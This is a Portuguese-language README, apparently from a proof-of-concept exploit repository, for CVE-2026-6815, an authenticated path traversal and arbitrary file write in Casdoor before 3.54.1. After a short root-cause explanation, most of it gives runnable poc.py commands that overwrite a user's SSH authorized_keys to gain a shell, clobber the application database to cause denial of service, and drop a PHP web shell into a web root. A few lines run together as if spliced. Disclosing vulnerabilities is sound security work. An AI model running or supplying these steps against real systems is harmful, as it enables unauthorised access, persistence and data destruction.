
Exploit de Prova de Conceito (PoC) para CVE-2026-6815: Authenticated Path Traversal & Arbitrary File Write no Casdoor (< 3.54.1) levando a RCE/DoS.
Este repositório contém um exploit de Prova de Conceito (PoC) para CVE-2026-6815, uma vulnerabilidade de escrita arbitrária de ficheiros e path traversal no Casdoor.
A vulnerabilidade foi corrigida na versão 3.54.1.
O atacante deve estar autenticado na instância do Casdoor com privilégios de administrador ou utilizador equivalente com acesso para criar e/ou editar fornecedores de armazenamento.
.ssh/authorized_keys, crontabs ou webroots.casdoor.db) ou binários principais com ficheiros arbitrários, interrompendo imediatamente a aplicação.O Casdoor permite que administradores configurem fornecedores de armazenamento. O fornecedor Local File System não consegue sanitizar adequadamente a configuração pathPrefix e o parâmetro fullFilePath durante o upload de recursos.
Ao usar sequências de navegação de diretórios (../), um administrador autenticado pode escapar do diretório de armazenamento dedicado e escrever ficheiros em qualquer lugar onde o processo do Casdoor tenha permissões.
A vulnerabilidade decorre de validação insuficiente de caminho em:
object/provider.go: Sem validação no pathPrefix durante criação/atualização.storage/local_file_system.go: O método GetFullPath não verifica se o caminho resolvido permanece dentro da sandbox pretendida.Instalar dependências:
pip install -r requirements.txt
Executar o exploit:
python3 poc.py --url http://target:8000 --file local_file --rpath /home/casdoor/new_remote_file
Escreva uma chave pública controlada pelo atacante no ficheiro authorized_keys do utilizador casdoor para obter acesso SSH.
Gerar a chave ssh:
ssh-keygen -f casdoor_rce
Substituir authorized_keys pela chave pública gerada:
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file casdoor_rce.pub --rpath /home/casdoor/.ssh/authorized_keys
Obter shell ssh no host remoto usando a chave privada:
ssh -i ./casdoor_rce casdoor@target
Substitua o ficheiro de base de dados local da aplicação (ex.: casdoor.db) para causar uma negação de serviço.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
Se o servidor estiver a alojar um servidor web secundário (ex.: Apache/Nginx) no mesmo sistema de ficheiros, escreva uma web shell na sua raiz de documentos.
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
Se tiver credenciais administrativas para uma organização e aplicação específicas (que não as predefinidas built-in e app-built-in), especifique-as usando --orgname e --appname.
python3 poc.py --url http://target:8000 --usr custom_admin --psw P@ssw0rd --orgname my-org --appname my-app --file local_file.txt --rpath /tmp/pwned.txt
Este software destina-se apenas a fins educativos e de testes de segurança autorizados. O autor não se responsabiliza por qualquer uso indevido desta informação.
Vulnerabilidade descoberta e PoC desenvolvida por Danilo Dell'Orco (sixpain).